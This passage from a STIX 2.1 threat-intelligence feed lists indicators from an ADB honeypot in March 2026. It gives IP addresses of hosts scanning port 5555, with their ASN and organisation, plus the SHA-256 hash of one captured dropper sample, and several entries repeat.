      "pattern": "[ipv4-addr:value = '165.154.36.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 106,
          "first_seen": "2026-03-22T13:18:31.000Z",
          "last_seen": "2026-03-22T13:46:36.932Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "135377"
          ],
          "org": [
            "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=56040; asn_org=China Mobile communications corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T13:47:53.000Z | last_seen=2026-03-22T13:48:58.250Z | ports=5555 | cc=CN | asn=56040 | org=China Mobile communications corporation",
      "id": "indicator--7dcb0a8a-f501-467e-b1cf-9432cbbe148c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '39.144.14.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T13:47:53.000Z",
          "last_seen": "2026-03-22T13:48:58.250Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "56040"
          ],
          "org": [
            "China Mobile communications corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=60592; asn_org=Gransy s.r.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T13:11:08.000Z | last_seen=2026-03-22T13:12:14.934Z | ports=5555 | cc=GB | asn=60592 | org=Gransy s.r.o.",
      "id": "indicator--a088894c-ffb8-4206-9a86-3909064e4b7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '46.175.135.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T14:00:02.000Z",
      "valid_until": "2026-04-23T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T13:11:08.000Z",
          "last_seen": "2026-03-22T13:12:14.934Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "60592"
          ],
          "org": [
            "Gransy s.r.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T15:47:15.000Z | last_seen=2026-03-22T15:48:17.859Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--affaf2ef-395b-4ebf-982c-644b356c8c3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '170.187.165.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:00:02.000Z",
      "valid_until": "2026-04-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T15:47:15.000Z",
          "last_seen": "2026-03-22T15:48:17.859Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-22T15:10:52.000Z | last_seen=2026-03-25T06:19:55.089Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:00:02.000Z",
      "valid_until": "2026-04-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-22T15:10:52.000Z",
          "last_seen": "2026-03-25T06:19:55.089Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T15:10:13.000Z | last_seen=2026-03-22T15:11:23.297Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:00:02.000Z",
      "valid_until": "2026-04-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T15:10:13.000Z",
          "last_seen": "2026-03-22T15:11:23.297Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T15:47:15.000Z | last_seen=2026-03-22T15:48:17.859Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--affaf2ef-395b-4ebf-982c-644b356c8c3d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '170.187.165.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:00:03.000Z",
      "valid_until": "2026-04-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T15:47:15.000Z",
          "last_seen": "2026-03-22T15:48:17.859Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=16 | first_seen=2026-03-22T15:10:52.000Z | last_seen=2026-03-25T06:19:55.089Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b7fa5d27-9bb2-443b-8a85-1777b2dd8e9e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:00:03.000Z",
      "valid_until": "2026-04-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 16,
          "first_seen": "2026-03-22T15:10:52.000Z",
          "last_seen": "2026-03-25T06:19:55.089Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T16:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T15:10:13.000Z | last_seen=2026-03-22T15:11:23.297Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T16:00:03.000Z",
      "valid_until": "2026-04-23T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T15:10:13.000Z",
          "last_seen": "2026-03-22T15:11:23.297Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T18:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/14599c8078954c4255076b866a6e0c302bf9e643875a77e1c4d315f3905d65bc.raw; last_seen=2026-03-22T17:25:07.602Z",
      "id": "indicator--f6f2b983-137f-4414-90eb-9db2c537635f",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '14599c8078954c4255076b866a6e0c302bf9e643875a77e1c4d315f3905d65bc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T18:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/14599c8078954c4255076b866a6e0c302bf9e643875a77e1c4d315f3905d65bc.raw; last_seen=2026-03-22T17:25:07.602Z",
      "id": "indicator--f6f2b983-137f-4414-90eb-9db2c537635f",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '14599c8078954c4255076b866a6e0c302bf9e643875a77e1c4d315f3905d65bc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T19:28:35.000Z | last_seen=2026-03-22T19:29:37.790Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--43f0a838-04ee-47cb-ae3c-bd9a71424f07",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '158.220.107.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:00:02.000Z",
      "valid_until": "2026-04-23T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T19:28:35.000Z",
          "last_seen": "2026-03-22T19:29:37.790Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T19:29:27.000Z | last_seen=2026-03-22T19:30:36.485Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--01b369aa-7bca-4e8d-ac3e-f81cb4893752",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.89.55.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:00:02.000Z",
      "valid_until": "2026-04-23T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T19:29:27.000Z",
          "last_seen": "2026-03-22T19:30:36.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T19:44:18.000Z | last_seen=2026-03-22T19:45:28.287Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--1d8de7a4-12ca-4a7d-b73b-494b2096f94b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.49.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:00:02.000Z",
      "valid_until": "2026-04-23T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T19:44:18.000Z",
          "last_seen": "2026-03-22T19:45:28.287Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T19:28:35.000Z | last_seen=2026-03-22T19:29:37.790Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--43f0a838-04ee-47cb-ae3c-bd9a71424f07",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '158.220.107.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:00:03.000Z",
      "valid_until": "2026-04-23T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T19:28:35.000Z",
          "last_seen": "2026-03-22T19:29:37.790Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T19:29:27.000Z | last_seen=2026-03-22T19:30:36.485Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--01b369aa-7bca-4e8d-ac3e-f81cb4893752",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.89.55.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:00:03.000Z",
      "valid_until": "2026-04-23T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 5,
          "first_seen": "2026-03-22T19:29:27.000Z",
          "last_seen": "2026-03-22T19:30:36.485Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T20:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=BG; asn=50360; asn_org=Tamatiya EOOD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-22T19:44:18.000Z | last_seen=2026-03-22T19:45:28.287Z | ports=5555 | cc=BG | asn=50360 | org=Tamatiya EOOD",
      "id": "indicator--1d8de7a4-12ca-4a7d-b73b-494b2096f94b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '79.124.49.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-22T20:00:03.000Z",
      "valid_until": "2026-04-23T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-22T19:44:18.000Z",
          "last_seen": "2026-03-22T19:45:28.287Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "50360"
          ],
          "org": [
            "Tamatiya EOOD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-22T21:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=211443; asn_org=Sino Worldwide Trading Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-22T20:23:13.000Z | last_seen=2026-03-22T20:24:17.433Z | ports=5555 | cc=NL | asn=211443 | org=Sino Worldwide Trading Limited",
